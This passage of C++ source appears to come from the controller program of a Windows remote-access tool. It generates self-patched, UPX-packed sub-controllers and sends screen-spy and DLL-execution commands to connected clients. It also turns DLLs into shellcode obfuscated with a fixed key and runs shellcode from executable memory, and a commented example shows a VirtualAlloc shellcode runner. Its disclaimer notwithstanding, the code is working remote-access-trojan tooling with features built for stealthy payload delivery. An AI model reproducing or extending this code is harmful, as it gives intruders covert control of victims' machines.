    SAFE_CLOSE_HANDLE(pi.hThread);

    return static_cast<int>(exitCode);
}

int run_upx(const std::string& upx, const std::string &file, bool isCompress)
{
    std::string cmd = isCompress ? "\" --best \"" : "\" -d \"";
    std::string cmdLine = "\"" + upx + cmd + file + "\"";
    return run_cmd(cmdLine);
}

std::string ReleaseUPX()
{
    return ReleaseEXE(IDR_BINARY_UPX, "upx.exe");
}

// 解压UPX对当前应用程序进行操作
bool UPXUncompressFile(const std::string& upx, std::string &file)
{
    char path[MAX_PATH];
    DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
    std::string curExe = path;

    if (!upx.empty()) {
        file = curExe + ".tmp";
        if (!CopyFile(curExe.c_str(), file.c_str(), FALSE)) {
            Mprintf("Failed to copy file. Error: %d\n", GetLastError());
            return false;
        }
        int result = run_upx(upx, file, false);
        // UPX 返回码: 0=成功, 1=错误, 2=警告（如文件未压缩）
        // 0 和 2 视为成功（目标是得到未压缩的文件）
        bool success = (result == 0 || result == 2);
        Mprintf("UPX decompression %s! Code: %d.\n", success ? "successful" : "failed", result);
        return success;
    }
    return false;
}

struct UpxTaskArgs {
    HWND hwnd; // 主窗口句柄
    std::string upx;
    std::string file;
    bool isCompress;
};

DWORD WINAPI UpxThreadProc(LPVOID lpParam)
{
    UpxTaskArgs* args = (UpxTaskArgs*)lpParam;
    int result = run_upx(args->upx, args->file, args->isCompress);

    // 向主线程发送完成消息，wParam可传结果
    PostMessageA(args->hwnd, WM_UPXTASKRESULT, (WPARAM)result, 0);

    DeleteFile(args->upx.c_str());
    delete args;

    return 0;
}

void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress)
{
    UpxTaskArgs* args = new UpxTaskArgs{ hwnd, upx, file, isCompress };
    CloseHandle(CreateThread(NULL, 0, UpxThreadProc, args, 0, NULL));
}

LRESULT CMy2015RemoteDlg::UPXProcResult(WPARAM wParam, LPARAM lParam)
{
    int exitCode = static_cast<int>(wParam);
    ShowMessage(exitCode == 0 ? _TR("操作成功"):_TR("操作失败"), _TR("UPX 处理完成"));
    return S_OK;
}

//////////////////////////////////////////////////////////////////////////

// 生成下级代理所需的哈希头文件
bool GenerateHashHeaderFile(const std::string& headerPath,
                            const std::string& pwdHash, const Validation& verify,
                            const std::string& masterHash,
                            const FeatureFlags* newFlags = nullptr)
{
    // 输入验证
    if (pwdHash.length() != 64 || masterHash.length() != 64) {
        Mprintf("错误: 哈希长度无效 (pwdHash=%d, masterHash=%d)\n",
                (int)pwdHash.length(), (int)masterHash.length());
        return false;
    }

    std::ofstream headerFile(headerPath);
    if (!headerFile.is_open()) {
        Mprintf("错误: 无法创建头文件 %s\n", headerPath.c_str());
        return false;
    }

    // 构建完整的 g_MasterID 数组 (_MAX_PATH = 260 字节)
    // 结构: [0-63] hash, [64-95] check32, [96-99] check4, [100-259] Validation
    char masterIdArr[_MAX_PATH] = {};
    WritePwdHash(masterIdArr, pwdHash, verify);

    // 构建完整的 g_UpperHash 数组 (_MAX_PATH = 260 字节)
    // 结构: [0-99] MASTER_HASH_STR + padding, [100-163] 64字节hash, [164-255] FeatureFlags
    char upperHashArr[_MAX_PATH] = { MASTER_HASH_STR };
    memcpy(upperHashArr + 100, masterHash.c_str(), 64);
    if (newFlags) {
        memcpy(upperHashArr + FEATURE_FLAGS_OFFSET, newFlags, sizeof(FeatureFlags));
    }

    // 找到最后一个非零字节的位置
    auto findLastNonZero = [](const char* arr, int size) {
        for (int i = size - 1; i >= 0; i--) {
            if (arr[i] != 0) return i + 1;
        }
        return 1;  // 至少返回1，避免空数组
    };
    int masterIdLen = findLastNonZero(masterIdArr, _MAX_PATH);
    int upperHashLen = findLastNonZero(upperHashArr, _MAX_PATH);

    // 输出字节数组的辅助函数
    auto writeByteArray = [&headerFile](const char* arr, int len) {
        for (int i = 0; i < len; i++) {
            if (i % 16 == 0) headerFile << "    ";
            headerFile << "0x" << std::hex << std::setw(2) << std::setfill('0')
                       << (unsigned int)(unsigned char)arr[i];
            if (i < len - 1) headerFile << ", ";
            if (i % 16 == 15 || i == len - 1) headerFile << "\n";
        }
        headerFile << std::dec;
    };

    headerFile << "// Auto-generated hash file for lower-level agent\n";
    headerFile << "// Generated at: " << ToPekingTimeAsString(NULL) << "\n\n";
    headerFile << "#pragma once\n\n";
    headerFile << "#include <windows.h>\n";
    headerFile << "#include \"common/hash.h\"\n\n";
    // 输出 g_MasterID 字节数组（省略尾部零）
    headerFile << "// 主控程序唯一标识\n";
    headerFile << "// 密码的哈希值\n";
    headerFile << "char g_MasterID[_MAX_PATH] = {\n";
    writeByteArray(masterIdArr, masterIdLen);
    headerFile << "};\n\n";
    // 输出 g_UpperHash 字节数组（省略尾部零）
    headerFile << "char g_UpperHash[_MAX_PATH] = {\n";
    writeByteArray(upperHashArr, upperHashLen);
    headerFile << "};\n\n";

    // 输出功能标志注释（便于下级开发商了解限制）
    if (newFlags && (newFlags->MenuFlags || newFlags->ToolbarFlags || newFlags->ContextFlags)) {
        headerFile << "// Feature flags set for this level:\n";
        headerFile << "// MenuFlags:    0x" << std::hex << std::setfill('0')
                   << std::setw(16) << newFlags->MenuFlags << "\n";
        headerFile << "// ToolbarFlags: 0x" << std::setw(16) << newFlags->ToolbarFlags << "\n";
        headerFile << "// ContextFlags: 0x" << std::setw(16) << newFlags->ContextFlags
                   << std::dec << "\n";
    }
    headerFile.close();
    Mprintf("头文件已生成: %s\n", headerPath.c_str());
    return true;
}

void CMy2015RemoteDlg::OnToolGenMaster()
{
    // 主控程序公网IP（优先使用上级FRP配置）
    std::string master;
    int port;
    GetEffectiveMasterAddress(master, port);
    if (master.empty())	{
        MessageBoxL("请通过菜单设置当前主控程序的公网地址（域名）! 此地址会写入即将生成的主控程序中。"
                    "\n只有正确设置公网地址，才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION);
    }
    std::string masterHash(GetPwdHash());
    std::string upperHash(GetMasterHash());
    bool isSuperAdmin = (masterHash == upperHash);
    const Validation* curValidation = GetValidation();

    // 非超级管理员需要检查生成深度
    if (!isSuperAdmin && !curValidation->CanGenerate()) {
        MessageBoxL(_TR("当前主控程序没有生成下级主控的权限（MaxDepth=0）。\n请联系上级管理员获取授权。"), 
            _TR("权限不足"), MB_ICONWARNING);
        return;
    }

    if (m_superPass.empty()) {
        CInputDialog pass(this);
        pass.Init(_TR("主控生成"), _TR("当前主控程序的密码:"));
        pass.m_str = m_superPass.c_str();
        if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
            return;
        if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
            MessageBoxL("密码不正确，无法生成主控程序!", "错误", MB_ICONWARNING);
            return;
        }
        m_superPass = pass.m_str.GetString();
    }

    // 收集生成参数：深度、密码、天数
    unsigned short newMaxDepth = 0;
    CString newPassword, newDays;

    if (isSuperAdmin) {
        // 超级管理员：3个输入框（深度、密码、天数）
        CInputDialog dlg(this);
        dlg.Init(_TR("生成主控"), _TR("可生成的最大层数:"));
        dlg.m_str = "1";
        dlg.Init2(_TR("新主控程序密码:"), "");
        dlg.Init3(_TR("使用天数:"), "365");
        if (dlg.DoModal() != IDOK)
            return;

        int inputDepth = atoi(dlg.m_str);
        if (inputDepth < 0) inputDepth = 0;
        if (inputDepth > 255) inputDepth = 255;
        newMaxDepth = (unsigned short)inputDepth;
        newPassword = dlg.m_sSecondInput;
        newDays = dlg.m_sThirdInput;
    } else {
        // 非超级管理员：深度递减，2个输入框（密码、天数）
        newMaxDepth = curValidation->MaxDepth - 1;

        CInputDialog dlg(this);
        dlg.Init(_TR("生成主控"), _TR("新主控程序密码:"));
        dlg.Init2(_TR("使用天数:"), "365");
        if (dlg.DoModal() != IDOK)
            return;

        newPassword = dlg.m_str;
        newDays = dlg.m_sSecondInput;
    }

    // 验证输入
    if (newPassword.IsEmpty()) {
        MessageBoxL(_TR("密码不能为空。"), _TR("错误"), MB_ICONWARNING);
        return;
    }
    if (newPassword.GetLength() > 15) {
        MessageBoxL(_TR("密码长度不能大于15。"), _TR("错误"), MB_ICONWARNING);
        return;
    }
    if (newDays.IsEmpty()) {
        MessageBoxL(_TR("使用天数不能为空。"), _TR("错误"), MB_ICONWARNING);
        return;
    }

    // 功能限制对话框
    CFeatureLimitsDlg limitsDlg(this);
    const FeatureFlags* inherited = GetFeatureFlags();
    if (inherited) {
        limitsDlg.SetInheritedFlags(inherited);
    }
    if (limitsDlg.DoModal() != IDOK)
        return;

    size_t size = 0;
    char path[MAX_PATH];
    DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
    if (len == 0 || len == MAX_PATH) {
        return;
    }
    char* curEXE = ReadFileToBuffer(path, size);
    if (curEXE == nullptr) {
        MessageBoxL("读取文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
        return;
    }
    std::string pwdHash = hashSHA256(newPassword.GetString());
    // 使用 GetFinderString 生成更长的搜索模式，避免匹配到 .rdata 段的字符串字面量
    std::string finder = GetFinderString(masterHash.c_str());
    int iOffset = MemoryFind(curEXE, finder.c_str(), size, finder.length());
    std::string upx = ReleaseUPX();
    if (iOffset == -1) {
        SAFE_DELETE_ARRAY(curEXE);
        std::string tmp;
        if (!UPXUncompressFile(upx, tmp) || nullptr == (curEXE = ReadFileToBuffer(tmp.c_str(), size))) {
            MessageBoxL("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
            if (!upx.empty()) DeleteFile(upx.c_str());
            if (!tmp.empty()) DeleteFile(tmp.c_str());
            return;
        }
        DeleteFile(tmp.c_str());
        iOffset = MemoryFind(curEXE, finder.c_str(), size, finder.length());
        if (iOffset == -1) {
            SAFE_DELETE_ARRAY(curEXE);
            MessageBoxL("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING);
            return;
        }
    }
    std::string id = genHMAC(pwdHash, m_superPass);
    Validation verify(atof(newDays), master.c_str(), port<=0 ? 6543 : port, id.c_str(), newMaxDepth);
    if (!WritePwdHash(curEXE + iOffset, pwdHash, verify)) {
        MessageBoxL("写入哈希失败! 无法生成主控。", "错误", MB_ICONWARNING);
        SAFE_DELETE_ARRAY(curEXE);
        return;
    }
    // 准备功能标志（在块外定义，便于后续传递给头文件生成函数）
    FeatureFlags featureFlags = {};
    memcpy(featureFlags.Version, FEATURE_FLAGS_VERSION, 4);
    featureFlags.MenuFlags = limitsDlg.GetMenuFlags();
    featureFlags.ToolbarFlags = limitsDlg.GetToolbarFlags();
    featureFlags.ContextFlags = limitsDlg.GetContextFlags();

    char str[100] = {}, markArr[] = { MASTER_HASH_STR };
    memcpy(str, markArr, sizeof(markArr));
    if (-1 != (iOffset = MemoryFind(curEXE, str, size, sizeof(str)))) {
		memcpy(curEXE + iOffset + 100, masterHash.c_str(), 64);
		curEXE[iOffset + 100 + 64] = '\0';  // 确保 null 终止

		// 写入功能标志到 g_UpperHash[164-255]
		memcpy(curEXE + iOffset + FEATURE_FLAGS_OFFSET, &featureFlags, sizeof(featureFlags));
    }
    else {
		Mprintf("警告: 在主控程序中未找到 MASTER_HASH_STR 标记，无法写入主控哈希。\n");
    }
    CComPtr<IShellFolder> spDesktop;
    HRESULT hr = SHGetDesktopFolder(&spDesktop);
    if (FAILED(hr)) {
        MessageBoxL("Explorer 未正确初始化! 请稍后再试。", "提示", MB_ICONINFORMATION);
        SAFE_DELETE_ARRAY(curEXE);
        return;
    }
    // 过滤器：显示所有文件和特定类型文件（例如文本文件）
    CFileDialog fileDlg(FALSE, _T("exe"), BRAND_EXE_NAME, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
                        _T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
    int ret = 0;
    try {
        ret = fileDlg.DoModal();
    } catch (...) {
        MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
        SAFE_DELETE_ARRAY(curEXE);
        return;
    }
    if (ret == IDOK) {
        CString name = fileDlg.GetPathName();
        CFile File;
        BOOL r = File.Open(name, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
        if (!r) {
            MessageBoxL(_TR("主控程序创建失败!") + "\r\n" + name, "提示", MB_ICONWARNING);
            SAFE_DELETE_ARRAY(curEXE);
            return;
        }
        File.Write(curEXE, size);
        File.Close();

        // 生成头文件，包含下级代理所需的哈希信息（固定文件名，下级只需替换此文件）
        std::string headerPath = std::string(name.GetString());
        size_t slashPos = headerPath.find_last_of("\\/");
        if (slashPos != std::string::npos) {
            headerPath = headerPath.substr(0, slashPos + 1) + "generated_hash.h";
        } else {
            headerPath = "generated_hash.h";
        }
        GenerateHashHeaderFile(headerPath, pwdHash, verify, masterHash, &featureFlags);

        CString depthInfo;
        depthInfo.Format(_TR("\r\n生成深度: %d (可继续生成%d层下级)"), newMaxDepth, newMaxDepth);
        if (!upx.empty()) {
#ifndef _DEBUG // DEBUG 模式用UPX压缩的程序可能无法正常运行
            run_upx_async(GetSafeHwnd(), upx, name.GetString(), true);
            MessageBoxL(_TR("正在UPX压缩，请关注信息提示。") + "\r\n" + _TR("文件位于: ") + name + depthInfo, "提示", MB_ICONINFORMATION);
#endif
        } else
            MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + name + depthInfo, "提示", MB_ICONINFORMATION);
    }
	Mprintf("主控程序生成: PwdHash= %s HMAC= %s MaxDepth= %d. UpperHash: %s.\n", pwdHash.c_str(), id.c_str(), newMaxDepth, masterHash.c_str());
    SAFE_DELETE_ARRAY(curEXE);
}


void CMy2015RemoteDlg::OnHelpImportant()
{
    const char* msg =
        "本软件以“现状”提供，不附带任何保证。使用本软件的风险由用户自行承担。"
        "我们不对任何因使用本软件而引发的非法或恶意用途负责。用户应遵守相关法律"
        "法规，并负责任地使用本软件。开发者对任何因使用本软件产生的损害不承担责任。";
    MessageBoxL(_L(msg), "免责声明", MB_ICONINFORMATION);
}


void CMy2015RemoteDlg::OnHelpFeedback()
{
    CString content = THIS_CFG.GetStr("settings", "FeedbackUrl", BRAND_URL_FEEDBACK).c_str();
    if (content.Left(4).CompareNoCase(_T("http")) == 0) {
        ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
    } else {
        MessageBoxL(content, _TR("反馈"), MB_ICONINFORMATION);
    }
}

void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID)
{
    if (m_DllList.size() == 0) {
        MessageBoxL(_L("请将64位的DLL放于主控程序的 'Plugins' 目录，再来点击此项菜单。")+
                    _L("\n执行未经测试的代码可能造成程序崩溃。"), "提示", MB_ICONINFORMATION);
        char path[_MAX_PATH];
        GetModuleFileNameA(NULL, path, _MAX_PATH);
        GET_FILEPATH(path, "Plugins");
        m_DllList = ReadAllDllFilesWindows(path);
        return;
    }
    int menuIndex = nID - ID_DYNAMIC_MENU_BASE;  // 计算菜单项的索引（基于 ID）
    EnterCriticalSection(&m_cs);
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while (Pos && menuIndex < m_DllList.size()) {
        Buffer* buf = m_DllList[menuIndex]->Data;
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        context* ContextObject = GetContextByListIndex(iItem);
        if (!ContextObject) continue;
        ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo) );
    }
    LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnOnlineVirtualDesktop()
{
    BYTE	bToken[32] = { COMMAND_SCREEN_SPY, 2, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
    SendSelectedCommand(bToken, sizeof(bToken));
}


void CMy2015RemoteDlg::OnOnlineGrayDesktop()
{
    if (!ShouldRemoteControl())
        return;
    BYTE	bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
    SendSelectedCommand(bToken, sizeof(bToken));
}


void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
{
    if (!ShouldRemoteControl())
        return;
    BYTE	bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
    SendSelectedCommand(bToken, sizeof(bToken));
}


void CMy2015RemoteDlg::OnOnlineH264Desktop()
{
    if (!ShouldRemoteControl())
        return;
    BYTE	bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
    SendSelectedCommand(bToken, sizeof(bToken));
}


void CMy2015RemoteDlg::OnWhatIsThis()
{
    CString content = THIS_CFG.GetStr("settings", "HelpUrl", BRAND_URL_WIKI).c_str();
    if (content.Left(4).CompareNoCase(_T("http")) == 0) {
        ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
    } else {
        MessageBoxL(content, _TR("帮助"), MB_ICONINFORMATION);
    }
}


void CMy2015RemoteDlg::OnOnlineAuthorize()
{
    // 检查选中的客户端是否已在授权数据库中
    std::string ip, machineName, sn;
    EnterCriticalSection(&m_cs);
    int nItem = m_CList_Online.GetNextItem(-1, LVNI_SELECTED);
    context* ctx = GetContextByListIndex(nItem);
    if (ctx) {
        ip = ctx->GetClientData(ONLINELIST_IP).GetString();
        machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME).GetString();
    }
    LeaveCriticalSection(&m_cs);

    if (m_superPass.empty()) {
        CInputDialog pass(this);
        pass.Init(_TR("需要密码"), _TR("当前主控程序的密码:"));
        if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
            return;
        std::string masterHash(GetPwdHash());
        if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
            MessageBoxL("密码不正确!", "错误", MB_ICONWARNING);
            return;
        }
        m_superPass = pass.m_str;
    }

    CInputDialog dlg(this);
    dlg.Init(_TR("发送授权"), _TR("授权天数:"));
    dlg.Init2(_TR("并发连接数:"), std::to_string(100).c_str());
    if (dlg.DoModal() != IDOK || atoi(dlg.m_str) <= 0)
        return;
    BYTE	bToken[32] = { CMD_AUTHORIZATION };
    unsigned short days = atoi(dlg.m_str);
    unsigned short num = atoi(dlg.m_sSecondInput);
    uint32_t tm = clock();
    // 2字节天数+2字节主机数+4字节时间戳+消息签名
    memcpy(bToken+1, &days, sizeof(days));
    memcpy(bToken+3, &num, sizeof(num));
    memcpy(bToken + 8, &tm, sizeof(tm));
    uint64_t signature = SignMessage(m_superPass, bToken, 12);
    memcpy(bToken + 12, &signature, sizeof(signature));
    SendSelectedCommand(bToken, sizeof(bToken));
}

CString FormatValue(double dValue, LPCTSTR szUnit)
{
    CString str;
    if (dValue == (int)dValue)
        str.FormatL(_T("%d%s"), (int)dValue, szUnit);
    else
        str.FormatL(_T("%.1f%s"), dValue, szUnit);
    return str;
}

CString GetElapsedTime(LPCTSTR szBaseTime)
{
    int nYear, nMonth, nDay, nHour, nMin, nSec;
    if (_stscanf_s(szBaseTime, _T("%d-%d-%d %d:%d:%d"),
                   &nYear, &nMonth, &nDay, &nHour, &nMin, &nSec) != 6) {
        return _T("0s");
    }

    CTime tmBase(nYear, nMonth, nDay, nHour, nMin, nSec);
    CTime tmNow = CTime::GetCurrentTime();
    __int64 nSeconds = (tmNow - tmBase).GetTotalSeconds();
    if (nSeconds < 0) nSeconds = -nSeconds;

    if (nSeconds < 60)
        return FormatValue((double)nSeconds, _T("s"));
    else if (nSeconds < 3600)
        return FormatValue(nSeconds / 60.0, _T("m"));
    else if (nSeconds < 86400)
        return FormatValue(nSeconds / 3600.0, _T("h"));
    else
        return FormatValue(nSeconds / 86400.0, _T("d"));
}

void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
{
    LPNMITEMACTIVATE pNMItem = (LPNMITEMACTIVATE)pNMHDR;
    int iItem = pNMItem->iItem;

    CLock lock(m_cs);
    context* ctx = GetContextByListIndex(iItem);
    if (ctx) {
        // 获取数据
        CString res[RES_MAX];
        CString startTime = ctx->GetClientData(ONLINELIST_STARTTIME);
        ctx->GetAdditionalData(res);
        FlagType type = ctx->GetFlagType();
        static std::map<FlagType, std::string> typMap = {
            {FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
            {FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
        };
        CString processInfo;
        if (!res[RES_PID].IsEmpty() || !res[RES_FILESIZE].IsEmpty()) {
            processInfo.FormatL("\r\n进程 PID: %s %s", res[RES_PID].IsEmpty() ? "" : res[RES_PID], res[RES_FILESIZE].IsEmpty() ? "" : res[RES_FILESIZE]);
        }
        // 拼接内容
        CString strText;
        std::string expired = res[RES_EXPIRED_DATE];
        expired = expired.empty() ? "" : " Expired on " + expired;
        strText.FormatL(_T("文件路径: %s%s %s%s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s Master-%s\r\n客户信息: %s"),
                        res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + _L(" 位 "), res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo,
                        res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
                        res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime),
                        ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
        std::string geo = res[RES_CLIENT_PUBIP].IsEmpty() ? "" : m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
        if (m_HasLocDB) {
            CString qqwryLoc;
            qqwryLoc.FormatL("\r\n地理信息: %s", geo.c_str());
            strText += qqwryLoc;
        }

        // 获取鼠标位置
        CPoint pt;
        GetCursorPos(&pt);

        // 清理旧提示
        DeletePopupWindow(TRUE);

        // 创建提示窗口
        m_pFloatingTip = new CWnd();
        int width = res[RES_FILE_PATH].GetLength() * 10 + 36;
        width = min(max(width, 360), 800);
        CRect rect(pt.x, pt.y, pt.x + width, pt.y + 120); // 宽度、高度

        BOOL bOk = m_pFloatingTip->CreateEx(
                       WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
                       _T("STATIC"),
                       strText,
                       WS_POPUP | WS_VISIBLE | WS_BORDER | SS_LEFT | SS_NOTIFY,
                       rect,
                       this,
                       0);

        if (bOk) {
            m_pFloatingTip->SetFont(GetFont());
            m_pFloatingTip->ShowWindow(SW_SHOW);
            SetTimer(TIMER_CLOSEWND, 5000, nullptr);
        } else {
            SAFE_DELETE(m_pFloatingTip);
        }
    }

    *pResult = 0;
}


void CMy2015RemoteDlg::OnOnlineUnauthorize()
{
    // 检查选中的客户端是否已在授权数据库中
    std::string ip, machineName, sn;
    EnterCriticalSection(&m_cs);
    int nItem = m_CList_Online.GetNextItem(-1, LVNI_SELECTED);
    context* ctx = GetContextByListIndex(nItem);
    if (ctx) {
        ip = ctx->GetClientData(ONLINELIST_IP).GetString();
        machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME).GetString();
    }
    LeaveCriticalSection(&m_cs);

    if (m_superPass.empty()) {
        CInputDialog pass(this);
        pass.Init(_TR("需要密码"), _TR("当前主控程序的密码:"));
        if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
            return;
        std::string masterHash(GetPwdHash());
        if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
            MessageBoxL("密码不正确!", "错误", MB_ICONWARNING);
            return;
        }
        m_superPass = pass.m_str;
    }

    BYTE	bToken[32] = { CMD_AUTHORIZATION };
    unsigned short days = 0;
    unsigned short num = 1;
    uint32_t tm = clock();
    // 2字节天数+2字节主机数+4字节时间戳+消息签名
    memcpy(bToken + 1, &days, sizeof(days));
    memcpy(bToken + 3, &num, sizeof(num));
    memcpy(bToken + 8, &tm, sizeof(tm));
    uint64_t signature = SignMessage(m_superPass, bToken, 12);
    memcpy(bToken + 12, &signature, sizeof(signature));
    SendSelectedCommand(bToken, sizeof(bToken));
}


void CMy2015RemoteDlg::OnToolRequestAuth()
{
    std::string pwd = THIS_CFG.GetStr("settings", "Password");
    BOOL noPwd = pwd.empty();
    if (noPwd && IDYES != MessageBoxL("本软件仅限于合法、正当、合规的用途。\r\n您是否同意？",
                                      "声明", MB_ICONQUESTION | MB_YESNO))
        return;
    CInputDialog dlg(this);
    dlg.m_str = getDeviceID(GetHardwareID()).c_str();
    dlg.Init(noPwd ? _TR("请求授权") : _TR("序列号"), _TR("序列号(唯一ID):"));
    if (!noPwd)
        dlg.Init2(_TR("授权口令:"), pwd.c_str());
    if (IDOK == dlg.DoModal() && noPwd) {
        CString content = THIS_CFG.GetStr("settings", "RequestAuthUrl", BRAND_URL_REQUEST_AUTH).c_str();
        if (content.Left(4).CompareNoCase(_T("http")) == 0) {
            ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
        } else {
            MessageBoxL(content, _TR("请求授权"), MB_ICONINFORMATION);
        }
    }
}


void CMy2015RemoteDlg::OnToolInputPassword()
{
    if (CheckValid(-1)) {
        CString pwd = THIS_CFG.GetStr("settings", "Password", "").c_str();
        auto v = splitString(pwd.GetBuffer(), '-');
        CString info;
        info.FormatL("软件有效期限: %s ~ %s, 并发连接数量: %d.", v[0].c_str(), v[1].c_str(), atoi(v[2].c_str()));
        if (IDYES == MessageBoxL(info + _TR("\n如需修改授权信息，请联系管理员。是否现在修改授权？"), "提示", MB_YESNO | MB_ICONINFORMATION)) {
            CPasswordDlg dlg(this);
            std::string hardwareID = GetHardwareID();
            std::string hashedID = hashSHA256(hardwareID);
            std::string deviceID = getFixedLengthID(hashedID);
            dlg.m_sDeviceID = deviceID.c_str();
            dlg.m_sPassword = THIS_CFG.GetStr("settings", "Password", "").c_str();
            dlg.m_sPasscodeHmac = THIS_CFG.GetStr("settings", "PwdHmac", "").c_str();
            if (IDOK == dlg.DoModal() && !dlg.m_sPassword.IsEmpty()) {
                THIS_CFG.SetStr("settings", "SN", dlg.m_sDeviceID.GetString());
                THIS_CFG.SetStr("settings", "Password", dlg.m_sPassword.GetString());
                THIS_CFG.SetStr("settings", "PwdHmac", dlg.m_sPasscodeHmac.GetString());
#ifdef _DEBUG
                SetTimer(TIMER_CHECK, 10 * 1000, NULL);
#else
                SetTimer(TIMER_CHECK, 600 * 1000, NULL);
#endif
            }
        }
    }
}

bool safe_exec(void *exec)
{
    __try {
        ((void(*)())exec)();
        return true;
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        VirtualFree(exec, 0, MEM_RELEASE);
    }
    return false;
}

/* Example: <Select TinyRun.dll to build "tinyrun.c">
#include "tinyrun.c"
#include <windows.h>
#include <stdio.h>

int main() {
	void* exec = VirtualAlloc(NULL,Shellcode_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	if (exec) {
		memcpy(exec, Shellcode, Shellcode_len);
		((void(*)())exec)();
		Sleep(INFINITE);
	}
	return 0;
}
*/
#include "common/obfs.h"
void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = ".c")
{
    CFileDialog fileDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
        load ? _T("BIN Files (*.bin)|*.bin|All Files (*.*)|*.*||"):
        _T("DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||"), AfxGetMainWnd());
    int ret = 0;
    try {
        ret = fileDlg.DoModal();
    } catch (...) {
        AfxMessageBoxL("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING);
        return;
    }
    if (ret == IDOK) {
        CString name = fileDlg.GetPathName();
        CFile File;
        BOOL r = File.Open(name, CFile::typeBinary | CFile::modeRead);
        if (!r) {
            AfxMessageBoxL(_TR("文件打开失败! 请稍后再试。") + "\r\n" + name, MB_ICONWARNING);
            return;
        }
        int dwFileSize = File.GetLength();
        int padding = ALIGN16(dwFileSize) - dwFileSize;
        LPBYTE szBuffer = new BYTE[dwFileSize + padding];
        memset(szBuffer + dwFileSize, 0, padding);
        File.Read(szBuffer, dwFileSize);
        File.Close();

        LPBYTE srcData = NULL;
        int srcLen = 0;
        if (load) {
            const uint32_t key = 0xDEADBEEF;
            obfs->DeobfuscateBuffer(szBuffer, dwFileSize, key);
            void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (exec) {
                memcpy(exec, szBuffer, dwFileSize);
                if (safe_exec(exec)) {
                    AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
                } else {
                    AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
                }
            }
        } else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
            TCHAR buffer[MAX_PATH];
            _tcscpy_s(buffer, name);
            PathRemoveExtension(buffer);
            const uint32_t key = 0xDEADBEEF;
            obfs->ObfuscateBuffer(srcData, srcLen, key);
            if (obfs->WriteFile(CString(buffer) + suffix, srcData, srcLen, "Shellcode")) {
                AfxMessageBoxL(_TR("Shellcode 生成成功! 请自行编写调用程序。") + "\r\n" + CString(buffer) + suffix,
                               MB_ICONINFORMATION);
            }
        }
        SAFE_DELETE_ARRAY(srcData);
        SAFE_DELETE_ARRAY(szBuffer);
    }
}

void CMy2015RemoteDlg::OnToolGenShellcode()
{
    ObfsBase obfs;
    shellcode_process(&obfs);
}

void CMy2015RemoteDlg::OnObfsShellcode()
{
    Obfs obfs;
